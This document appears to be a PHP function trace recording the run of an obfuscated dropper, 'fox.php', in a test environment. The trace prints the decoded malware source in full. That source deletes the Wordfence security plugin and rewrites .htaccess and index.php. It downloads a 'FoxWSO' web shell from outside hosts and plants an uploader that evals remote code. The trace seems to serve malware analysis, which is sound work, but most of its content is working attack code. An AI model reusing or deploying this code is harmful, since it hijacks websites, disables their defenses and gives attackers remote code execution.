5	19	R			'�Xy\\\023W\036��֣^�]���\0210+\031\r!\t\021�0�bPV$H��51L�\t\t�$�L$\032�R\027Aĳu�j�U�*�G=V]�t�U��]{���z���uߛ#\031�\t�,~��7���}��}��x��v��juH\035�\027�\b�r��0排��\003AyRRz����*�C\a%&\n%d~�\003��v�x�׋�I�l\f\032��\000i&� )\037N��\016\033����P\030\'�8�2L��I�\037h\030A\030q�\017\017��J:M�\026�Q�\035\024Vn+�����\021�����\022�,�\021\025(��\023r4d�\036\006���`�~�<\036\005��Ǔ�\001V�\036!I��(7�08Y\002���\t�\002���zĚ�\023�Gi�4�AU h#<Φ�u�\024uk���r�ぬ��?���Ҝ5\002wb~/�2�T��T\024�g˕�p���\017\035&�\'\f�\0'
5	20	0	0.002159	461072	gzinflate	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code	16	1	'�Xy\\\023W\036��֣^�]���\0210+\031\r!\t\021�0�bPV$H��51L�\t\t�$�L$\032�R\027Aĳu�j�U�*�G=V]�t�U��]{���z���uߛ#\031�\t�,~��7���}��}��x��v��juH\035�\027�\b�r��0排��\003AyRRz����*�C\a%&\n%d~�\003��v�x�׋�I�l\f\032��\000i&� )\037N��\016\033����P\030\'�8�2L��I�\037h\030A\030q�\017\017��J:M�\026�Q�\035\024Vn+�����\021�����\022�,�\021\025(��\023r4d�\036\006���`�~�<\036\005��Ǔ�\001V�\036!I��(7�08Y\002���\t�\002���zĚ�\023�Gi�4�AU h#<Φ�u�\024uk���r�ぬ��?���Ҝ5\002wb~/�2�T��T\024�g˕�p���\017\035&�\'\f�\0'
5	20	1	0.002306	473392
5	20	R			'};}d4000x0{}��{SLABOLG$."pu$//:ptth".]c400x0[}��{SLABOLG$ ohce;}b40x0{}��{SLABOLG$."llehs$//:ptth".]a400000x0[}��{SLABOLG$ ohce;)"llehs$//:ptth"(stnetnoc_teg_ptth{esle};}d4000x0{}��{SLABOLG$."pu$//:sptth".]c400x0[}��{SLABOLG$ ohce;}b40x0{}��{SLABOLG$."llehs$//:sptth".]a400000x0[}��{SLABOLG$ ohce{))llehs_nepo$,}940000x0{}��{SLABOLG$(hctam_gerp(fi;)"llehs$//:sptth"(lruCsptth=llehs_nepo$;"r$=xOF?u$/niamod$"=pu$;"s$/niamod$"=llehs$;)sseccath$,}530000x0{}��{SLABOLG$.toor$(evas;)]84000x0[}��{SLABOLG$,]a100x0[}��{'
5	21	0	0.002364	465168	strrev	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code	16	1	'};}d4000x0{}��{SLABOLG$."pu$//:ptth".]c400x0[}��{SLABOLG$ ohce;}b40x0{}��{SLABOLG$."llehs$//:ptth".]a400000x0[}��{SLABOLG$ ohce;)"llehs$//:ptth"(stnetnoc_teg_ptth{esle};}d4000x0{}��{SLABOLG$."pu$//:sptth".]c400x0[}��{SLABOLG$ ohce;}b40x0{}��{SLABOLG$."llehs$//:sptth".]a400000x0[}��{SLABOLG$ ohce{))llehs_nepo$,}940000x0{}��{SLABOLG$(hctam_gerp(fi;)"llehs$//:sptth"(lruCsptth=llehs_nepo$;"r$=xOF?u$/niamod$"=pu$;"s$/niamod$"=llehs$;)sseccath$,}530000x0{}��{SLABOLG$.toor$(evas;)]84000x0[}��{SLABOLG$,]a100x0[}��{'
5	21	1	0.002421	477488
5	21	R			' error_reporting(E_ALL^E_NOTICE);define(\'Ϗ\', \'���\');$GLOBALS[Ϗ] = explode(\'|\003|\003|\006\', gzinflate(substr(\'\037�\b\000\000\000\000\000\000\n�V�r�6\020}�L\037�\025\bG\035J\031��\035\\\'m#Y�cS�ZYr(*j�\034�\004E�$���.q��]��L9����.�.�\036,\026�\0050c��!���\003|~����*-d��I謷tx���ÅP��[�v�&qҔ\a,+�t�r\034�~��о7`U\036��؞cn�4�8�rF�&8��a\\\'z\004C��W���\016G\025�${h�,\032�h4M���{��+\tCG��Q}Fb�.S4��n[kw�l<{��Al�v���n�S��P}��ۆ�.�\023�}���`AwfY\027�tb��ѩ1��\001w\\\\\027��1���\032��F�\tC�N���P�e'
4	12	1	0.002493	465168
4	12	R			' error_reporting(E_ALL^E_NOTICE);define(\'Ϗ\', \'���\');$GLOBALS[Ϗ] = explode(\'|\003|\003|\006\', gzinflate(substr(\'\037�\b\000\000\000\000\000\000\n�V�r�6\020}�L\037�\025\bG\035J\031��\035\\\'m#Y�cS�ZYr(*j�\034�\004E�$���.q��]��L9����.�.�\036,\026�\0050c��!���\003|~����*-d��I謷tx���ÅP��[�v�&qҔ\a,+�t�r\034�~��о7`U\036��؞cn�4�8�rF�&8��a\\\'z\004C��W���\016G\025�${h�,\032�h4M���{��+\tCG��Q}Fb�.S4��n[kw�l<{��Al�v���n�S��P}��ۆ�.�\023�}���`AwfY\027�tb��ѩ1��\001w\\\\\027��1���\032��F�\tC�N���P�e'
4	22	0	0.003052	586072	eval	1	' error_reporting(E_ALL^E_NOTICE);define(\'Ϗ\', \'���\');$GLOBALS[Ϗ] = explode(\'|\003|\003|\006\', gzinflate(substr(\'\037�\b\000\000\000\000\000\000\n�V�r�6\020}�L\037�\025\bG\035J\031��\035\\\'m#Y�cS�ZYr(*j�\034�\004E�$���.q��]��L9����.�.�\036,\026�\0050c��!���\003|~����*-d��I謷tx���ÅP��[�v�&qҔ\a,+�t�r\034�~��о7`U\036��؞cn�4�8�rF�&8��a\\\'z\004C��W���\016G\025�${h�,\032�h4M���{��+\tCG��Q}Fb�.S4��n[kw�l<{��Al�v���n�S��P}��ۆ�.�\023�}���`AwfY\027�tb��ѩ1��\001w\\\\\027��1���\032��F�\tC�N���P�eS\000�~��H솙�S=\t�9��$H�\r��WB�\037*�k�F*7�\a��H�O����@{�Ե�\r�#m�k��ʄ��I����kȫV�\035��G�\020�;\036�I��H��!��3�ܘ�M�Y�Q����\f"�l�d`�6Ґ�\b�ک�V�ق���<-��\006<ڄ���\000��6R�2��R�\016�s�e!F\021�l���p���\035��\0321�\034�q\\\\*�9)Fz)����ܟO��\032j���U9|Lc\017�tk\032��Ĳ���1::7�Ћ��\035\030ok\032\r�op>IW/��U��l<��WRŃ\\\\�\\\\�ay(6�C�o�_���\\\\�q��M\nʓ�_�\a\t�e)l\035�I!������_~u�]ȉy@>߄QL�/,]g��j������?=\033����|4�xoN��ٟ\037���=�k\025lQB\031\\\'��nt\020v\003�`��b\\\'���t�YOѠ��Ko#w\020��5�԰.�x�^\025���Y�\003Tˣ>�TE-Q�.U\036%� T�:\002��\030F��\036(]��\bE�\a�;P/`\vT\004\001��\004\037�Q\026r�8��\002��\034.��h�\002�s"�X��m@�]G��h�\031�Ӌ�:^��9�\n#��v��\001�ق������@�jEx\036�;Ts��¢���䭮+Z\021\034\005B�\\\\�h�:�\022����\006�\f��\022M�W�����h��Ă\025�p4nQ\rH\016����i�\033��^���p��+h`>���⺒��\0023�/��<\002:�m#0��.�w��`S\b��d��\020\036\vIz`C��:�s!Ŝ&��\003��xj\016�\027�m\r΍��j����@Ӱ���2�F��a6�eN��-�\001ׅ_O��ɯ\030X�v�)O��\037\017���p||d\rƣ�b�~nRC\030䉑��j��>�8�\f�\017�9��0Dx���=\\\\Ը\002~����qt"x}\a2\023�\f�\025{��TPa��\034���\\\\�2����B:^D�r{T���ʗ\f�\022\032W\037<�\034�\017���`iY��\020˰��Bs������8��r���OW�ɸ�ga��\025�6qb\032�#���\nZ�z�Pwn�(p�g��\t���)[\017�\r��辶�˹*H������7d\017jȋKC�\016\024�=��u!\004���D\000�[����R/�`�{��w��D"�d�n�0�+���\0316 �\027C�K\016K\v\000\000\',0x0a, -8)));\r\n error_reporting(0);@ini_set($GLOBALS{Ϗ}[0],NULL);@ini_set($GLOBALS{Ϗ}{0x001},0);@ini_set($GLOBALS{Ϗ}[0x0002],0);if(!function_exists($GLOBALS{Ϗ}{0x00003})){function explode($str,$array){return split($str,$array);}}function exe($in){$out=$GLOBALS{Ϗ}[0x000004];if(function_exists($GLOBALS{Ϗ}{0x05})){@exec($in,$out);$out=@join($GLOBALS{Ϗ}[0x006],$out);}elseif(function_exists($GLOBALS{Ϗ}{0x0007})){ob_start();@passthru($in);$out=ob_get_clean();}elseif(function_exists($GLOBALS{Ϗ}[0x00008])){ob_start();@system($in);$out=ob_get_clean();}elseif(function_exists($GLOBALS{Ϗ}{0x000009})){$out=shell_exec($in);}elseif(is_resource($f=@popen($in,$GLOBALS{Ϗ}[0x0a]))){$out=$GLOBALS{Ϗ}{0x00b};while(!@feof($f))$out.= fread($f,0x00000400);pclose($f);}return $out;}function read($path){$contents=$GLOBALS{Ϗ}[0x000004];if(function_exists($GLOBALS{Ϗ}[0x000c])){$contents=file_get_contents($path);}elseif(function_exists($GLOBALS{Ϗ}{0x0000d})&& function_exists($GLOBALS{Ϗ}[0x00000e])){$contents=stream_get_contents(fopen($path,$GLOBALS{Ϗ}[0x0a]));}elseif(function_exists($GLOBALS{Ϗ}{0x0f})&& function_exists($GLOBALS{Ϗ}[0x0010])){$contents=implode(file($path));}elseif(function_exists($GLOBALS{Ϗ}[0x0010])){$lines=file($path);if(function_exists($GLOBALS{Ϗ}{0x0f})){$contents=implode($lines);}else{foreach($lines as $line){$contents.= $line;}}}else{$contents=exe($GLOBALS{Ϗ}{0x00011}.$path);}return $contents;}function save($path,$source){if(function_exists($GLOBALS{Ϗ}[0x000012])){$saV=file_put_contents($path,$source);}else{$saV=fwrite(fopen($path,$GLOBALS{Ϗ}{0x0000013}),$source);}return $saV;}function deleteDir($path){$path=(substr($path,-0x001)==$GLOBALS{Ϗ}[0x014])?$path:$path.$GLOBALS{Ϗ}[0x014];$dh=opendir($path);while(($xxx=readdir($dh))!==!1){$xxx=$path.$xxx;if((basename($xxx)==$GLOBALS{Ϗ}{0x0015})||(basename($xxx)==$GLOBALS{Ϗ}[0x00016]))continue;$type=filetype($xxx);if($type==$GLOBALS{Ϗ}{0x000017})deleteDir($xxx);else @unlink($xxx);}closedir($dh);@rmdir($path);}function http_get_contents($url){$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,0x001);curl_setopt($ch,CURLOPT_RETURNTRANSFER,0x001);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,0x0f);curl_setopt($ch,CURLOPT_TIMEOUT,0x0f);curl_setopt($ch,CURLOPT_COOKIESESSION,!0);curl_setopt($ch,CURLOPT_USERAGENT,$GLOBALS{Ϗ}[0x0000018]);$urlPage=curl_exec($ch);curl_close($ch);return($urlPage);}function httpsCurl($url){$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,0x001);curl_setopt($ch,CURLOPT_RETURNTRANSFER,0x001);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,!0);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0x0002);curl_setopt($ch,CURLOPT_USERAGENT,$_SERVER[$GLOBALS{Ϗ}{0x019}]);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,0x05);curl_setopt($ch,CURLOPT_TIMEOUT,0x05);$urlPage=curl_exec($ch);curl_close($ch);return($urlPage);}function word_namber($file,$word){$count=0;$src=read($file);$lines=explode($GLOBALS{Ϗ}[0x006],$src);foreach($lines as $line){if(strstr($line,$word)){$count++;}}return $count;}function cut_string($file,$word){$nbr_w=word_namber($file,$word);$src=read($file);$lines=explode($GLOBALS{Ϗ}[0x006],$src);$result=$GLOBALS{Ϗ}[0x000004];foreach($lines as $line){if(strstr($line,$word)|| $nbr_w<=0){$nbr_w--;if($nbr_w<=0){$result.= $line.$GLOBALS{Ϗ}[0x006];}}}return $result;}function php_dany($root){$htaccess_P=$root.$GLOBALS{Ϗ}[0x001a];$htaccess=strtolower(read($htaccess_P));if(preg_match($GLOBALS{Ϗ}{0x0001b},$htaccess)|| preg_match($GLOBALS{Ϗ}[0x00001c],$htaccess)){$plugin_P=$root.$GLOBALS{Ϗ}{0x000001d};$plugin=read($plugin_P);if(preg_match($GLOBALS{Ϗ}[0x01e],$plugin)&& !preg_match($GLOBALS{Ϗ}{0x001f},$plugin)){$plugin=str_replace($GLOBALS{Ϗ}[0x00020],$GLOBALS{Ϗ}{0x000021},$plugin);chmod($plugin_P,0644);save($plugin_P,$plugin);}if(preg_match($GLOBALS{Ϗ}[0x0000022],$plugin,$p)){unlink($p[0x001]);}$about_P=$root.$GLOBALS{Ϗ}{0x023};$about=read($about_P);if(file_exists($about_P)&& preg_match($GLOBALS{Ϗ}[0x0024],$about)){unlink($about_P);}$index_P=$root.$GLOBALS{Ϗ}[0x00020];$index=read($index_P);if(preg_match($GLOBALS{Ϗ}{0x00025},$index)){$new_index=$GLOBALS{Ϗ}[0x000026];chmod($index_P,0644);save($index_P,$new_index);}elseif(strstr($index,$GLOBALS{Ϗ}{0x0000027})&& !preg_match($GLOBALS{Ϗ}[0x028],$index)&& !preg_match($GLOBALS{Ϗ}{0x0029},$index)&& !preg_match($GLOBALS{Ϗ}[0x0002a],$index)&& !preg_match($GLOBALS{Ϗ}{0x00002b},$index)&& !preg_match($GLOBALS{Ϗ}[0x000002c],$index)){$new_index=cut_string($index_P,$GLOBALS{Ϗ}{0x0000027});chmod($index_P,0644);save($index_P,$new_index);}chmod($htaccess_P,0644);$new_h=$GLOBALS{Ϗ}{0x02d};save($htaccess_P,$new_h);}}$domain=$_SERVER[$GLOBALS{Ϗ}[0x002e]];$REQUESTURI=strval($_SERVER[$GLOBALS{Ϗ}{0x0002f}]);while(strstr($REQUESTURI,$GLOBALS{Ϗ}[0x000030])){$REQUESTURI=str_replace($GLOBALS{Ϗ}[0x000030],$GLOBALS{Ϗ}[0x014],$REQUESTURI);}if(strstr($REQUESTURI,$GLOBALS{Ϗ}{0x0000031})){$REQUESTURI=explode($GLOBALS{Ϗ}{0x0000031},$REQUESTURI);$REQUESTURI=$REQUESTURI[0];}$xRoot=substr_count($REQUESTURI,$GLOBALS{Ϗ}[0x014]);$root=$GLOBALS{Ϗ}[0x000004];$counter=0x001;while($counter<intval($xRoot)){$root.= $GLOBALS{Ϗ}[0x032];$counter++;}php_dany($root);$dirs=array($GLOBALS{Ϗ}{0x0033},$GLOBALS{Ϗ}[0x00034],"$root/wp-content/plugins/wordfence");foreach($dirs as $dir){if(is_dir($dir)){deleteDir($dir);}}chmod($root.$GLOBALS{Ϗ}{0x000035},0644);unlink($root.$GLOBALS{Ϗ}[0x0000036]);$r=substr(str_shuffle($GLOBALS{Ϗ}{0x037}),0x0038);$uploader=$GLOBALS{Ϗ}[0x0038]." == \'$r\'){".$GLOBALS{Ϗ}{0x00039};$indexWP=$GLOBALS{Ϗ}[0x000026];$htaccess=$GLOBALS{Ϗ}{0x02d};$shellname=substr(str_shuffle($GLOBALS{Ϗ}[0x00003a]),0x01e).$GLOBALS{Ϗ}{0x000003b};$uploadername=substr(str_shuffle($GLOBALS{Ϗ}[0x00003a]),0x01e).$GLOBALS{Ϗ}{0x000003b};if(is_dir($root.$GLOBALS{Ϗ}[0x03c])&& is_dir($root.$GLOBALS{Ϗ}{0x003d})){$dir_sh=$GLOBALS{Ϗ}[0x0003e];$dir_up=$GLOBALS{Ϗ}{0x00003f};$index=read($root.$GLOBALS{Ϗ}[0x00020]);if(!preg_match($GLOBALS{Ϗ}[0x028],$index)){chmod($root.$GLOBALS{Ϗ}[0x00020],0644);save($root.$GLOBALS{Ϗ}[0x00020],$indexWP);}}elseif(is_dir($root.$GLOBALS{Ϗ}[0x0000040])&& is_dir($root.$GLOBALS{Ϗ}{0x041})){$dir_sh=$GLOBALS{Ϗ}[0x0042];$dir_up=$GLOBALS{Ϗ}{0x00043};}else{$dir_sh=$GLOBALS{Ϗ}[0x000004];$dir_up=$GLOBALS{Ϗ}[0x000004];}$s=$dir_sh.$shellname;$u=$dir_up.$uploadername;if(function_exists($GLOBALS{Ϗ}[0x000044])){$files=array($GLOBALS{Ϗ}{0x0000045},$GLOBALS{Ϗ}[0x046]);foreach($files as $file){$FoxWSO=http_get_contents($file);if(preg_match($GLOBALS{Ϗ}{0x0047},$FoxWSO)){break;}}if(trim($FoxWSO)==$GLOBALS{Ϗ}[0x000004]){$FoxWSO="<?php echo \'<script> location.href=\\\'/$u?FOx=$r\\\'; </script>\'; ?>";}}else{$FoxWSO="<?php echo \'<script> location.href=\\\'/$u?FOx=$r\\\'; </script>\'; ?>";}save($root.$s,$FoxWSO);save($root.$u,$uploader);chmod($root.$dir_sh.$GLOBALS{Ϗ}[0x001a],0644);save($root.$dir_sh.$GLOBALS{Ϗ}[0x001a],$GLOBALS{Ϗ}[0x00048]);chmod($root.$dir_up.$GLOBALS{Ϗ}[0x001a],0644);save($root.$dir_up.$GLOBALS{Ϗ}[0x001a],$GLOBALS{Ϗ}[0x00048]);save($root.$GLOBALS{Ϗ}{0x000035},$htaccess);$shell="$domain/$s";$up="$domain/$u?FOx=$r";$open_shell=httpsCurl("https://$shell");if(preg_match($GLOBALS{Ϗ}{0x000049},$open_shell)){echo $GLOBALS{Ϗ}[0x000004a]."https://$shell".$GLOBALS{Ϗ}{0x04b};echo $GLOBALS{Ϗ}[0x004c]."https://$up".$GLOBALS{Ϗ}{0x0004d};}else{http_get_contents("http://$shell");echo $GLOBALS{Ϗ}[0x000004a]."http://$shell".$GLOBALS{Ϗ}{0x04b};echo $GLOBALS{Ϗ}[0x004c]."http://$up".$GLOBALS{Ϗ}{0x0004d};}'	/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code	16	0
5	23	0	0.003285	586072	error_reporting	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	1	1	32759
5	23	1	0.003302	586144
5	23	R			0
5	24	0	0.003316	586104	define	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	1	2	'Ϗ'	'���'
5	24	1	0.003331	586208
5	24	R			TRUE
5	25	0	0.003345	586136	substr	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	12	3	'\037�\b\000\000\000\000\000\000\n�V�r�6\020}�L\037�\025\bG\035J\031��\035\'m#Y�cS�ZYr(*j�\034�\004E�$���.q��]��L9����.�.�\036,\026�\0050c��!���\003|~����*-d��I謷tx���ÅP��[�v�&qҔ\a,+�t�r\034�~��о7`U\036��؞cn�4�8�rF�&8��a\'z\004C��W���\016G\025�${h�,\032�h4M���{��+\tCG��Q}Fb�.S4��n[kw�l<{��Al�v���n�S��P}��ۆ�.�\023�}���`AwfY\027�tb��ѩ1��\001w\\\027��1���\032��F�\tC�N���P�eS\000�~��H솙�S=\t�9��$H�\r��WB�\037*�k�F*7�\a��H�O����@{�Ե�\r�#m�k��ʄ��I����kȫV�\035��G�\020�;\036�I��H��!��3�ܘ�M�Y�Q'	10	-8
5	25	1	0.003410	587768
5	25	R			'�V�r�6\020}�L\037�\025\bG\035J\031��\035\'m#Y�cS�ZYr(*j�\034�\004E�$���.q��]��L9����.�.�\036,\026�\0050c��!���\003|~����*-d��I謷tx���ÅP��[�v�&qҔ\a,+�t�r\034�~��о7`U\036��؞cn�4�8�rF�&8��a\'z\004C��W���\016G\025�${h�,\032�h4M���{��+\tCG��Q}Fb�.S4��n[kw�l<{��Al�v���n�S��P}��ۆ�.�\023�}���`AwfY\027�tb��ѩ1��\001w\\\027��1���\032��F�\tC�N���P�eS\000�~��H솙�S=\t�9��$H�\r��WB�\037*�k�F*7�\a��H�O����@{�Ե�\r�#m�k��ʄ��I����kȫV�\035��G�\020�;\036�I��H��!��3�ܘ�M�Y�Q����\f"�l�d`�6Ґ�\b�ک�V�ق���<-'
5	26	0	0.003473	587672	gzinflate	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	12	1	'�V�r�6\020}�L\037�\025\bG\035J\031��\035\'m#Y�cS�ZYr(*j�\034�\004E�$���.q��]��L9����.�.�\036,\026�\0050c��!���\003|~����*-d��I謷tx���ÅP��[�v�&qҔ\a,+�t�r\034�~��о7`U\036��؞cn�4�8�rF�&8��a\'z\004C��W���\016G\025�${h�,\032�h4M���{��+\tCG��Q}Fb�.S4��n[kw�l<{��Al�v���n�S��P}��ۆ�.�\023�}���`AwfY\027�tb��ѩ1��\001w\\\027��1���\032��F�\tC�N���P�eS\000�~��H솙�S=\t�9��$H�\r��WB�\037*�k�F*7�\a��H�O����@{�Ե�\r�#m�k��ʄ��I����kȫV�\035��G�\020�;\036�I��H��!��3�ܘ�M�Y�Q����\f"�l�d`�6Ґ�\b�ک�V�ق���<-'
5	26	1	0.003554	590776
5	26	R			'error_log|\003|\003|\006log_errors|\003|\003|\006display_errors|\003|\003|\006explode|\003|\003|\006|\003|\003|\006exec|\003|\003|\006\n|\003|\003|\006passthru|\003|\003|\006system|\003|\003|\006shell_exec|\003|\003|\006r|\003|\003|\006|\003|\003|\006file_get_contents|\003|\003|\006fopen|\003|\003|\006stream_get_contents|\003|\003|\006implode|\003|\003|\006file|\003|\003|\006cat |\003|\003|\006file_put_contents|\003|\003|\006w|\003|\003|\006/|\003|\003|\006..|\003|\003|\006.|\003|\003|\006dir|\003|\003|\006'
5	27	0	0.003621	589208	explode	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	12	2	'|\003|\003|\006'	'error_log|\003|\003|\006log_errors|\003|\003|\006display_errors|\003|\003|\006explode|\003|\003|\006|\003|\003|\006exec|\003|\003|\006\n|\003|\003|\006passthru|\003|\003|\006system|\003|\003|\006shell_exec|\003|\003|\006r|\003|\003|\006|\003|\003|\006file_get_contents|\003|\003|\006fopen|\003|\003|\006stream_get_contents|\003|\003|\006implode|\003|\003|\006file|\003|\003|\006cat |\003|\003|\006file_put_contents|\003|\003|\006w|\003|\003|\006/|\003|\003|\006..|\003|\003|\006.|\003|\003|\006dir|\003|\003|\006'
5	27	1	0.003696	602208
5	27	R			[0 => 'error_log', 1 => 'log_errors', 2 => 'display_errors', 3 => 'explode', 4 => '', 5 => 'exec', 6 => '\n', 7 => 'passthru', 8 => 'system', 9 => 'shell_exec', 10 => 'r', 11 => '', 12 => 'file_get_contents', 13 => 'fopen', 14 => 'stream_get_contents', 15 => 'implode', 16 => 'file', 17 => 'cat ', 18 => 'file_put_contents', 19 => 'w', 20 => '/', 21 => '..', 22 => '.', 23 => 'dir', 24 => 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0', 25 => 'HTTP_USER_AGENT', 26 => '.htaccess', 27 => '/deny from all/', 28 => '/order allow,deny/', 29 => 'wp-includes/plugin.php', 30 => '/index.php/', 31 => '/index.php.bak/', 32 => 'index.php', 33 => 'index.php.bak', 34 => '/\\$path.*=.*"(.*)";/', 35 => 'about.php', 36 => '/d_time/', 37 => '/wp-blog-header.php/', 38 => '<?php\ndefine( \'WP_USE_THEMES\', true );\nrequire __DIR__ . \'/wp-blog-header.php\';', 39 => '<?php', 40 => '/index-configs/', 41 => '/<html/', 42 => '/<div/', 43 => '/<head>/', 44 => '/<script>/', 45 => '<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index\\.php$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n</IfModule>', 46 => 'HTTP_HOST', 47 => 'REQUEST_URI', 48 => '//', 49 => '?', 50 => '../', 51 => '../../plugins/wordfence', 52 => 'wp-content/plugins/wordfence', 53 => '.htaccess', 54 => '.user.ini', 55 => '123456789abcdefghijklmnopqrsyuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 56 => '<?php error_reporting(0); echo php_uname()."<br>".getcwd()."<br>"; if($_GET[\'FOx\']', 57 => '$saw1 = $_FILES[\'file\'][\'tmp_name\'];$saw2 = $_FILES[\'file\'][\'name\'];echo "<form method=\'POST\' enctype=\'multipart/form-data\'><input type=\'file\' name=\'file\' /><input type=\'submit\' value=\'UPload\' /></form>"; move_uploaded_file($saw1,$saw2); exit(0); } $code = "http://".$_GET["php"]; if (empty($code) or !stristr($code, "http")){ exit; } else { $php=file_get_contents($code); if (empty($php)){ $php = curl($code); } $php=str_replace("<?php", "", $php); $php=str_replace("?>", "", $php); eval($ph', 58 => '123456789abcdefghijklmnopqrsyuvwxyz', 59 => '.php', 60 => 'wp-admin', 61 => 'wp-content', 62 => 'wp-admin/', 63 => 'wp-content/', 64 => 'components', 65 => 'images', 66 => 'components/', 67 => 'images/', 68 => 'curl_exec', 69 => 'https://gov.co.ve/_@files/php/FoxWSO-full.txt', 70 => 'https://anonymousfox.mx/_@files/php/FoxWSO-full.txt', 71 => '/akhmhcij/', 72 => 'DirectoryIndex index.php , index.html , index.htm', 73 => '/FoxWSO/', 74 => '<shell><font color="red"><center> Shell : ', 75 => '</center></font><br></shell>', 76 => '<up><font color="green"><center> Up : ', 77 => '</center></font><br></up>']
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	1	GLOBALS['���'] = [0 => 'error_log', 1 => 'log_errors', 2 => 'display_errors', 3 => 'explode', 4 => '', 5 => 'exec', 6 => '\n', 7 => 'passthru', 8 => 'system', 9 => 'shell_exec', 10 => 'r', 11 => '', 12 => 'file_get_contents', 13 => 'fopen', 14 => 'stream_get_contents', 15 => 'implode', 16 => 'file', 17 => 'cat ', 18 => 'file_put_contents', 19 => 'w', 20 => '/', 21 => '..', 22 => '.', 23 => 'dir', 24 => 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0', 25 => 'HTTP_USER_AGENT', 26 => '.htaccess', 27 => '/deny from all/', 28 => '/order allow,deny/', 29 => 'wp-includes/plugin.php', 30 => '/index.php/', 31 => '/index.php.bak/', 32 => 'index.php', 33 => 'index.php.bak', 34 => '/\\$path.*=.*"(.*)";/', 35 => 'about.php', 36 => '/d_time/', 37 => '/wp-blog-header.php/', 38 => '<?php\ndefine( \'WP_USE_THEMES\', true );\nrequire __DIR__ . \'/wp-blog-header.php\';', 39 => '<?php', 40 => '/index-configs/', 41 => '/<html/', 42 => '/<div/', 43 => '/<head>/', 44 => '/<script>/', 45 => '<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index\\.php$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n</IfModule>', 46 => 'HTTP_HOST', 47 => 'REQUEST_URI', 48 => '//', 49 => '?', 50 => '../', 51 => '../../plugins/wordfence', 52 => 'wp-content/plugins/wordfence', 53 => '.htaccess', 54 => '.user.ini', 55 => '123456789abcdefghijklmnopqrsyuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 56 => '<?php error_reporting(0); echo php_uname()."<br>".getcwd()."<br>"; if($_GET[\'FOx\']', 57 => '$saw1 = $_FILES[\'file\'][\'tmp_name\'];$saw2 = $_FILES[\'file\'][\'name\'];echo "<form method=\'POST\' enctype=\'multipart/form-data\'><input type=\'file\' name=\'file\' /><input type=\'submit\' value=\'UPload\' /></form>"; move_uploaded_file($saw1,$saw2); exit(0); } $code = "http://".$_GET["php"]; if (empty($code) or !stristr($code, "http")){ exit; } else { $php=file_get_contents($code); if (empty($php)){ $php = curl($code); } $php=str_replace("<?php", "", $php); $php=str_replace("?>", "", $php); eval($ph', 58 => '123456789abcdefghijklmnopqrsyuvwxyz', 59 => '.php', 60 => 'wp-admin', 61 => 'wp-content', 62 => 'wp-admin/', 63 => 'wp-content/', 64 => 'components', 65 => 'images', 66 => 'components/', 67 => 'images/', 68 => 'curl_exec', 69 => 'https://gov.co.ve/_@files/php/FoxWSO-full.txt', 70 => 'https://anonymousfox.mx/_@files/php/FoxWSO-full.txt', 71 => '/akhmhcij/', 72 => 'DirectoryIndex index.php , index.html , index.htm', 73 => '/FoxWSO/', 74 => '<shell><font color="red"><center> Shell : ', 75 => '</center></font><br></shell>', 76 => '<up><font color="green"><center> Up : ', 77 => '</center></font><br></up>']
5	28	0	0.003908	599064	error_reporting	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	0
5	28	1	0.003923	599072
5	28	R			32759
5	29	0	0.003938	599008	ini_set	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'error_log'	NULL
5	29	1	0.003955	599080
5	29	R			''
5	30	0	0.003969	599008	ini_set	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'log_errors'	0
5	30	1	0.003984	599080
5	30	R			'1'
5	31	0	0.003998	599008	ini_set	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'display_errors'	0
5	31	1	0.004013	599080
5	31	R			''
5	32	0	0.004026	599008	function_exists	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'explode'
5	32	1	0.004041	599048
5	32	R			TRUE
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$domain = 'localhost'
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$REQUESTURI = '/uploads/fox.php'
